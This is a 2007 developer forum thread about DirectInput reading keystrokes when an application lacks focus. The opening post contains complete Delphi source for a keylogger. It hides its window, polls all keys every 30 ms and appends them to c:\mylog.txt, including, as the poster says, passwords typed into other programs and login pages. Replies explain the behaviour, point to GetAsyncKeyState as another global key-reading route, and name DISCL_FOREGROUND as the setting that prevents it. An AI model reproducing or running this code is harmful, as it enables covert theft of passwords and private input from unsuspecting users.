PDA

View Full Version : DirectInput reads keyboard even without focus



Jimmy Valavanis
13-11-2007, 11:36 AM
Just make a Delphi form and place a TTimer and a DXInput component (DXInput component provided by DelphiX).

Set the DXInput ActiveOnly property to false.

When this application runs, it can read all keyboard input regardless if the application has the focus. It also read keybord input while typing in password edit controls of other applications!!!



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
DXInput, ExtCtrls;

const
BUFSIZE = 64000;
VK_0 = $30;
VK_9 = $39;
VK_A = $41;
VK_Z = $5A;

type
TForm1 = class(TForm)
Timer1: TTimer;
DXInput1: TDXInput;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
oldState: TKeyboardState;
Keys: array[0..BUFSIZE - 1] of char;
index: integer;
lastKey: integer;
procedure AddChar(id: integer);
procedure WriteData;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
index := 0;
lastKey := 0;
AddChar(13);
AddChar(10);
AddChar(13);
AddChar(10);
Visible := false;
FillChar(oldState, SizeOf(oldState), Chr(0));

DXInput1.ActiveOnly := false;

Timer1.Interval := 30;
Timer1.Enabled := true;
end;

function StatesEqual(const s1, s2: TKeyBoardState): boolean;
// Check if two keyboard states are equal

var i: integer;
begin
for i := 0 to 255 do
if s1[i] <> s2[i] then
begin
result := false;
exit;
end;
result := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var i: integer;
begin
DXInput1.Keyboard.Update;
for i := 0 to 255 do
if DXInput1.Keyboard.Keys[i] then
AddChar(i);
end;

// Add a retrieved character to buffer

procedure TForm1.AddChar(id: integer);
begin
// Remove this line to avoid replications...

// if id = lastKey then exit;

Keys[index] := chr(byte(id));
inc(index);
lastKey := id;
if index = BUFSIZE then
WriteData;
end;

// Write data to log...

procedure TForm1.WriteData;
var f: file;
begin
AssignFile(f, 'c:\mylog.txt');
{$I-}
reset(f, 1);
{$I+}
if IOResult <> 0 then
begin
{$I-}
rewrite(f, 1);
{$I+}
end;
if IOResult <> 0 then exit;
seek(f, FileSize(f));
BlockWrite(f, Keys, index);
index := 0;
CloseFile(f);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
WriteData;
end;

end.


If you compile and run the above code it logs all input in c:\mylog.txt file. Even when you type a password in another application or in a internet login page. Using GetKeyBoardState SDK function I don't beleive that this could happen, so why DirectInput has this capability?

Robert Kosek
13-11-2007, 02:48 PM
Without that ability, your game can sometimes have quirky focus issues, Input becomes a hassle that's why. Why else do you think that KeyLoggers are so threatening an application?

jdarling
13-11-2007, 03:25 PM
Yep, this has been around since win 3.1 days. If you look at GetAsyncKeyState you can use it to read a key at any time, even if your application is running under another logged in user session :). Quite useful at times, and a known security loophole in ALL versions of windows.

In case your curious, yes this behavior exists within Linux too. It basically comes down to, as long as your performing direct reads of the keyboard buffer there is nothing to stop you except the hardware itself.

LP
13-11-2007, 03:33 PM
You need to specify DISCL_FOREGROUND when setting cooperative level in DirectInput to prevent this from happening.

cronodragon
13-11-2007, 04:23 PM
I think there is a way to know when the form has focus, it could be an event, or a windows message. I don't remember :S

Jimmy Valavanis
14-11-2007, 07:32 AM
Originally Posted by jdarling
Yep, this has been around since win 3.1 days. If you look at GetAsyncKeyState you can use it to read a key at any time, even if your application is running under another logged in user session . Quite useful at times, and a known security loophole in ALL versions of windows.

Suprizes me! I've never used GetAsyncKeyState but now I understand that reading the keyboard input of another application can be easily achieved.

NOTE: MSDN QuickInfo reports that GetAsyncKeyState() requires at least Windows 95, or Windows NT 3.1. Was supported by Windows 3.1?

jdarling
14-11-2007, 01:33 PM
It wasn't called GetAsyncKeyState back in the 3.1 days. In fact, back then it was easier to just hook the BIOS and called it complete :).